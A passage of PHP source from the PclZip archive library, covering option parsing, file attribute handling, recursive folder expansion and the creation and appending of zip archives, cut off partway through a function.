  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
  {
    $v_result=1;

    // ----- Read the options
    $i=0;
    while ($i<$p_size) {

      // ----- Check if the option is supported
      if (!isset($v_requested_options[$p_options_list[$i]])) {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Look for next option
      switch ($p_options_list[$i]) {
        // ----- Look for options that request a path value
        case PCLZIP_OPT_PATH :
        case PCLZIP_OPT_REMOVE_PATH :
        case PCLZIP_OPT_ADD_PATH :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
          $i++;
        break;

        case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
            return PclZip::errorCode();
          }

          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
            return PclZip::errorCode();
          }

          // ----- Check the value
          $v_value = $p_options_list[$i+1];
          if ((!is_integer($v_value)) || ($v_value<0)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
            return PclZip::errorCode();
          }

          // ----- Get the value (and convert it in bytes)
          $v_result_list[$p_options_list[$i]] = $v_value*1048576;
          $i++;
        break;

        case PCLZIP_OPT_TEMP_FILE_ON :
          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
            return PclZip::errorCode();
          }

          $v_result_list[$p_options_list[$i]] = true;
        break;

        case PCLZIP_OPT_TEMP_FILE_OFF :
          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
            return PclZip::errorCode();
          }
          // ----- Check for incompatible options
          if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
            return PclZip::errorCode();
          }

          $v_result_list[$p_options_list[$i]] = true;
        break;

        case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (   is_string($p_options_list[$i+1])
              && ($p_options_list[$i+1] != '')) {
            $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
            $i++;
          }
          else {
          }
        break;

        // ----- Look for options that request an array of string for value
        case PCLZIP_OPT_BY_NAME :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (is_string($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
          }
          else if (is_array($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }
          $i++;
        break;

        // ----- Look for options that request an EREG or PREG expression
        case PCLZIP_OPT_BY_EREG :
          // ereg() is deprecated starting with PHP 5.3. Move PCLZIP_OPT_BY_EREG
          // to PCLZIP_OPT_BY_PREG
          $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
        case PCLZIP_OPT_BY_PREG :
        //case PCLZIP_OPT_CRYPT :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (is_string($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }
          $i++;
        break;

        // ----- Look for options that takes a string
        case PCLZIP_OPT_COMMENT :
        case PCLZIP_OPT_ADD_COMMENT :
        case PCLZIP_OPT_PREPEND_COMMENT :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
			                     "Missing parameter value for option '"
								 .PclZipUtilOptionText($p_options_list[$i])
								 ."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          if (is_string($p_options_list[$i+1])) {
              $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
			                     "Wrong parameter value for option '"
								 .PclZipUtilOptionText($p_options_list[$i])
								 ."'");

            // ----- Return
            return PclZip::errorCode();
          }
          $i++;
        break;

        // ----- Look for options that request an array of index
        case PCLZIP_OPT_BY_INDEX :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_work_list = array();
          if (is_string($p_options_list[$i+1])) {

              // ----- Remove spaces
              $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');

              // ----- Parse items
              $v_work_list = explode(",", $p_options_list[$i+1]);
          }
          else if (is_integer($p_options_list[$i+1])) {
              $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
          }
          else if (is_array($p_options_list[$i+1])) {
              $v_work_list = $p_options_list[$i+1];
          }
          else {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Reduce the index list
          // each index item in the list must be a couple with a start and
          // an end value : [0,3], [5-5], [8-10], ...
          // ----- Check the format of each item
          $v_sort_flag=false;
          $v_sort_value=0;
          for ($j=0; $j<sizeof($v_work_list); $j++) {
              // ----- Explode the item
              $v_item_list = explode("-", $v_work_list[$j]);
              $v_size_item_list = sizeof($v_item_list);

              // ----- TBC : Here we might check that each item is a
              // real integer ...

              // ----- Look for single value
              if ($v_size_item_list == 1) {
                  // ----- Set the option value
                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
              }
              elseif ($v_size_item_list == 2) {
                  // ----- Set the option value
                  $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                  $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
              }
              else {
                  // ----- Error log
                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

                  // ----- Return
                  return PclZip::errorCode();
              }


              // ----- Look for list sort
              if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
                  $v_sort_flag=true;

                  // ----- TBC : An automatic sort should be written ...
                  // ----- Error log
                  PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

                  // ----- Return
                  return PclZip::errorCode();
              }
              $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
          }

          // ----- Sort the items
          if ($v_sort_flag) {
              // TBC : To Be Completed
          }

          // ----- Next option
          $i++;
        break;

        // ----- Look for options that request no value
        case PCLZIP_OPT_REMOVE_ALL_PATH :
        case PCLZIP_OPT_EXTRACT_AS_STRING :
        case PCLZIP_OPT_NO_COMPRESSION :
        case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
        case PCLZIP_OPT_REPLACE_NEWER :
        case PCLZIP_OPT_STOP_ON_ERROR :
          $v_result_list[$p_options_list[$i]] = true;
        break;

        // ----- Look for options that request an octal value
        case PCLZIP_OPT_SET_CHMOD :
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
          $i++;
        break;

        // ----- Look for options that request a call-back
        case PCLZIP_CB_PRE_EXTRACT :
        case PCLZIP_CB_POST_EXTRACT :
        case PCLZIP_CB_PRE_ADD :
        case PCLZIP_CB_POST_ADD :
        /* for futur use
        case PCLZIP_CB_PRE_DELETE :
        case PCLZIP_CB_POST_DELETE :
        case PCLZIP_CB_PRE_LIST :
        case PCLZIP_CB_POST_LIST :
        */
          // ----- Check the number of parameters
          if (($i+1) >= $p_size) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Get the value
          $v_function_name = $p_options_list[$i+1];

          // ----- Check that the value is a valid existing function
          if (!function_exists($v_function_name)) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");

            // ----- Return
            return PclZip::errorCode();
          }

          // ----- Set the attribute
          $v_result_list[$p_options_list[$i]] = $v_function_name;
          $i++;
        break;

        default :
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                       "Unknown parameter '"
							   .$p_options_list[$i]."'");

          // ----- Return
          return PclZip::errorCode();
      }

      // ----- Next options
      $i++;
    }

    // ----- Look for mandatory options
    if ($v_requested_options !== false) {
      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
        // ----- Look for mandatory option
        if ($v_requested_options[$key] == 'mandatory') {
          // ----- Look if present
          if (!isset($v_result_list[$key])) {
            // ----- Error log
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");

            // ----- Return
            return PclZip::errorCode();
          }
        }
      }
    }

    // ----- Look for default values
    if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {

    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privOptionDefaultThreshold()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privOptionDefaultThreshold(&$p_options)
  {
    $v_result=1;

    if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
        || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
      return $v_result;
    }

    // ----- Get 'memory_limit' configuration value
    $v_memory_limit = ini_get('memory_limit');
    $v_memory_limit = trim($v_memory_limit);
    $v_memory_limit_int = (int) $v_memory_limit;
    $last = strtolower(substr($v_memory_limit, -1));

    if($last == 'g')
        //$v_memory_limit_int = $v_memory_limit_int*1024*1024*1024;
        $v_memory_limit_int = $v_memory_limit_int*1073741824;
    if($last == 'm')
        //$v_memory_limit_int = $v_memory_limit_int*1024*1024;
        $v_memory_limit_int = $v_memory_limit_int*1048576;
    if($last == 'k')
        $v_memory_limit_int = $v_memory_limit_int*1024;

    $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit_int*PCLZIP_TEMPORARY_FILE_RATIO);


    // ----- Sanity check : No threshold if value lower than 1M
    if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
      unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privFileDescrParseAtt()
  // Description :
  // Parameters :
  // Return Values :
  //   1 on success.
  //   0 on failure.
  // --------------------------------------------------------------------------------
  function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
  {
    $v_result=1;

    // ----- For each file in the list check the attributes
    foreach ($p_file_list as $v_key => $v_value) {

      // ----- Check if the option is supported
      if (!isset($v_requested_options[$v_key])) {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Look for attribute
      switch ($v_key) {
        case PCLZIP_ATT_FILE_NAME :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);

          if ($p_filedescr['filename'] == '') {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

        break;

        case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);

          if ($p_filedescr['new_short_name'] == '') {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }
        break;

        case PCLZIP_ATT_FILE_NEW_FULL_NAME :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);

          if ($p_filedescr['new_full_name'] == '') {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }
        break;

        // ----- Look for options that takes a string
        case PCLZIP_ATT_FILE_COMMENT :
          if (!is_string($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['comment'] = $v_value;
        break;

        case PCLZIP_ATT_FILE_MTIME :
          if (!is_integer($v_value)) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
            return PclZip::errorCode();
          }

          $p_filedescr['mtime'] = $v_value;
        break;

        case PCLZIP_ATT_FILE_CONTENT :
          $p_filedescr['content'] = $v_value;
        break;

        default :
          // ----- Error log
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                           "Unknown parameter '".$v_key."'");

          // ----- Return
          return PclZip::errorCode();
      }

      // ----- Look for mandatory options
      if ($v_requested_options !== false) {
        for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
          // ----- Look for mandatory option
          if ($v_requested_options[$key] == 'mandatory') {
            // ----- Look if present
            if (!isset($p_file_list[$key])) {
              PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
              return PclZip::errorCode();
            }
          }
        }
      }

    // end foreach
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privFileDescrExpand()
  // Description :
  //   This method look for each item of the list to see if its a file, a folder
  //   or a string to be added as file. For any other type of files (link, other)
  //   just ignore the item.
  //   Then prepare the information that will be stored for that file.
  //   When its a folder, expand the folder with all the files that are in that
  //   folder (recursively).
  // Parameters :
  // Return Values :
  //   1 on success.
  //   0 on failure.
  // --------------------------------------------------------------------------------
  function privFileDescrExpand(&$p_filedescr_list, &$p_options)
  {
    $v_result=1;

    // ----- Create a result list
    $v_result_list = array();

    // ----- Look each entry
    for ($i=0; $i<sizeof($p_filedescr_list); $i++) {

      // ----- Get filedescr
      $v_descr = $p_filedescr_list[$i];

      // ----- Reduce the filename
      $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
      $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);

      // ----- Look for real file or folder
      if (file_exists($v_descr['filename'])) {
        if (@is_file($v_descr['filename'])) {
          $v_descr['type'] = 'file';
        }
        else if (@is_dir($v_descr['filename'])) {
          $v_descr['type'] = 'folder';
        }
        else if (@is_link($v_descr['filename'])) {
          // skip
          continue;
        }
        else {
          // skip
          continue;
        }
      }

      // ----- Look for string added as file
      else if (isset($v_descr['content'])) {
        $v_descr['type'] = 'virtual_file';
      }

      // ----- Missing file
      else {
        // ----- Error log
        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");

        // ----- Return
        return PclZip::errorCode();
      }

      // ----- Calculate the stored filename
      $this->privCalculateStoredFilename($v_descr, $p_options);

      // ----- Add the descriptor in result list
      $v_result_list[sizeof($v_result_list)] = $v_descr;

      // ----- Look for folder
      if ($v_descr['type'] == 'folder') {
        // ----- List of items in folder
        $v_dirlist_descr = array();
        $v_dirlist_nb = 0;
        if ($v_folder_handler = @opendir($v_descr['filename'])) {
          while (($v_item_handler = @readdir($v_folder_handler)) !== false) {

            // ----- Skip '.' and '..'
            if (($v_item_handler == '.') || ($v_item_handler == '..')) {
                continue;
            }

            // ----- Compose the full filename
            $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;

            // ----- Look for different stored filename
            // Because the name of the folder was changed, the name of the
            // files/sub-folders also change
            if (($v_descr['stored_filename'] != $v_descr['filename'])
                 && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
              if ($v_descr['stored_filename'] != '') {
                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
              }
              else {
                $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
              }
            }

            $v_dirlist_nb++;
          }

          @closedir($v_folder_handler);
        }
        else {
          // TBC : unable to open folder in read mode
        }

        // ----- Expand each element of the list
        if ($v_dirlist_nb != 0) {
          // ----- Expand
          if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
            return $v_result;
          }

          // ----- Concat the resulting list
          $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
        }
        else {
        }

        // ----- Free local array
        unset($v_dirlist_descr);
      }
    }

    // ----- Get the result list
    $p_filedescr_list = $v_result_list;

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCreate()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_list_detail = array();

    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Open the file in write mode
    if (($v_result = $this->privOpenFd('wb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Add the list of files
    $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);

    // ----- Close
    $this->privCloseFd();

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAdd()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;
    $v_list_detail = array();

    // ----- Look if the archive exists or is empty
    if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
    {

      // ----- Do a create
      $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);

      // ----- Return
      return $v_result;
    }
    // ----- Magic quotes trick
    $this->privDisableMagicQuotes();

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('rb')) != 1)
    {
      // ----- Magic quotes trick
      $this->privSwapBackMagicQuotes();

      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();
      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($this->zip_fd);

    // ----- Creates a temporary file
    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

    // ----- Open the temporary file in write mode
    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
    {
      $this->privCloseFd();
      $this->privSwapBackMagicQuotes();

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Copy the files from the archive to the temporary file
    // TBC : Here I should better append the file and go back to erase the central dir
    $v_size = $v_central_dir['offset'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($this->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Swap the file descriptor
    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
    // the following methods on the temporary fil and not the real archive
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Add the files
    $v_header_list = array();
    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
    {
      fclose($v_zip_temp_fd);
      $this->privCloseFd();
      @unlink($v_zip_temp_name);
      $this->privSwapBackMagicQuotes();

      // ----- Return
      return $v_result;
    }

    // ----- Store the offset of the central dir
    $v_offset = @ftell($this->zip_fd);

    // ----- Copy the block of file headers from the old archive
    $v_size = $v_central_dir['size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($v_zip_temp_fd, $v_read_size);
      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Create the Central Dir files header
    for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
    {
      // ----- Create the file header
      if ($v_header_list[$i]['status'] == 'ok') {
        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
          fclose($v_zip_temp_fd);
          $this->privCloseFd();
          @unlink($v_zip_temp_name);
          $this->privSwapBackMagicQuotes();

          // ----- Return
          return $v_result;
        }
        $v_count++;
      }

      // ----- Transform the header to a 'usable' info
      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
    }

    // ----- Zip file comment
    $v_comment = $v_central_dir['comment'];
    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
    }
    if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
      $v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
    }
    if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
      $v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
    }

    // ----- Calculate the size of the central header
    $v_size = @ftell($this->zip_fd)-$v_offset;

    // ----- Create the central dir footer
    if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
    {
      // ----- Reset the file list
      unset($v_header_list);
      $this->privSwapBackMagicQuotes();

      // ----- Return
      return $v_result;
    }

    // ----- Swap back the file descriptor
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Close
    $this->privCloseFd();

    // ----- Close the temporary file
    @fclose($v_zip_temp_fd);

    // ----- Magic quotes trick
    $this->privSwapBackMagicQuotes();

    // ----- Delete the zip file
    // TBC : I should test the result ...
    @unlink($this->zipname);

    // ----- Rename the temporary file
    // TBC : I should test the result ...
    //@rename($v_zip_temp_name, $this->zipname);
    PclZipUtilRename($v_zip_temp_name, $this->zipname);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privOpenFd()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privOpenFd($p_mode)
  {
    $v_result=1;

    // ----- Look if already open
    if ($this->zip_fd != 0)
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Open the zip file
    if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privCloseFd()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privCloseFd()
  {
    $v_result=1;

    if ($this->zip_fd != 0)
      @fclose($this->zip_fd);
    $this->zip_fd = 0;

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privAddList()
  // Description :
  //   $p_add_dir and $p_remove_dir will give the ability to memorize a path which is
  //   different from the real path of the file. This is useful if you want to have PclTar
  //   running in any directory, and memorize relative path from an other directory.
  // Parameters :
  //   $p_list : An array containing the file or directory names to add in the tar
  //   $p_result_list : list of added files with their properties (specially the status field)
  //   $p_add_dir : Path to add in the filename path archived
  //   $p_remove_dir : Path to remove in the filename path archived
  // Return Values :
  // --------------------------------------------------------------------------------
//  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
  function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
  {
    $v_result=1;

    // ----- Add the files
    $v_header_list = array();
    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Store the offset of the central dir
    $v_offset = @ftell($this->zip_fd);

    // ----- Create the Central Dir files header
    for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
    {
      // ----- Create the file header
      if ($v_header_list[$i]['status'] == 'ok') {
        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
          // ----- Return
          return $v_result;
        }
        $v_count++;
      }

      // ----- Transform the header to a 'usable' info
      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
    }

    // ----- Zip file comment
    $v_comment = '';
    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
    }

    // ----- Calculate the size of the central header
    $v_size = @ftell($this->zip_fd)-$v_offset;

    // ----- Create the central dir footer
    if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
    {
      // ----- Reset the file list
      unset($v_header_list);

      // ----- Return
      return $v_result;
    }

    // ----- Return
